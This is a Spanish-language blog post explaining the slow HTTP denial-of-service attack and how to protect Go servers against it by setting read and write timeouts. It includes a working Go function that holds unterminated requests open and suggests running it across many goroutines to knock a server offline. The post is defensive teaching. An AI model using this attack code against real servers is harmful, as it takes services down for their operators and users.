Variádico

Ataque de HTTP lento

30 de diciembre de 2016

Últimamente, he estado leyendo mucho sobre ataques cibernéticos. Uno de estos ataques me hizo recordar un artículo sobre tiempos de espera en Go que leí hace varios meses. Ese artículo es buenísimo, pero yo aprendo más cuando me pongo a escribir código en lugar de simplemente leer algo.

El día de hoy les presento: cómo funciona el ataque de HTTP lento y, más importante, cómo protegerse de él. Aunque aquí hable especialmente sobre un servidor en Go, ten en cuenta que todos los servidores HTTP puedan ser afectados por este ataque, sea un servidor Go, Node.js, o Apache.

Formato de petición HTTP

Primero hay que estudiar una petición de HTTP.

GET /http-lento HTTP/1.1\r\n
Host: variadi.co\r\n
\r\n

Presta atención a cómo se termina cada línea: con \r\n. Obviamente estos caracteres son invisibles, pero para este ejemplo es importante poder verlos. El final de la petición se indica con \r\n. Esto resulta ser súper importantísimo, como vamos a ver.

El ataque

El ataque es fácil: demórate lo más posible en enviar la terminación de la petición HTTP. Si el servidor no tiene un tiempo de espera configurado para leer la petición entrante, un mal actor puede mantener la conexión abierta—¡indefinidamente!

Malo, ¿verdad? Ahora imaginate un programa que llame esa función en mil hilos de ejecución. Peor—o mejor, dependiendo de que lado estés. Pero en lugar de imaginarlo, ¡hay que verlo!

func httpLento() error {
	// Iniciamos una conexión al servidor que queremos atacar.
	con, err := net.Dial("tcp", "localhost:8080")
	if err != nil {
		return err
	}
	defer con.Close()

	// Iniciamos una petición, pero no la terminamos...
	const petIncom = "GET / HTTP/1.0\r\nHost: localhost:8080\r\n"
	if _, err = fmt.Fprint(con, petIncom); err != nil {
		return err
	}

	// Hacer nada, pero mantener la conexión abierta. Un servidor
	// vunerable no podrá atender otros clientes por 5 minutos. 😈
	time.Sleep(5 * time.Minute)

	// Terminar petición.
	fmt.Fprint(con, "\r\n")
	return nil
}

Pon esa función en un bucle para empezar un chorro de goroutines y así de fácil tumbas a un servidor mal configurado.

La defensa

Por defecto, el servidor en Go no está configurado con un tiempo de espera ni para leer ni para escribir.

// Sin tiempos de espera. 😭
http.ListenAndServe(":8080", nil)

Aunque crear un servidor con una sola línea de código parezca chido, en realidad esto es malísimo porque es vunerable al ataque de HTTP lento. Afortunadamente, protegerse es muy sencillo. Nada más tienes que configurar unos tiempos de espera.

s := &http.Server{
	Addr:         ":8080",
	ReadTimeout:  5 * time.Second,  // 🌟
	WriteTimeout: 10 * time.Second, // 😍
}
s.ListenAndServe()

A diferencia del servidor por defecto, éste servidor cerrará la conexión del cliente si tarda más de 5 segundos para hacer su petición.

Muy largo; no leí

Configura los tiempos de espera de tus servidores HTTP si no quieres que te los tumben. En Go, se configura así.

s := &http.Server{
	Addr:         ":8080",
	ReadTimeout:  5 * time.Second,
	WriteTimeout: 10 * time.Second,
}
s.ListenAndServe()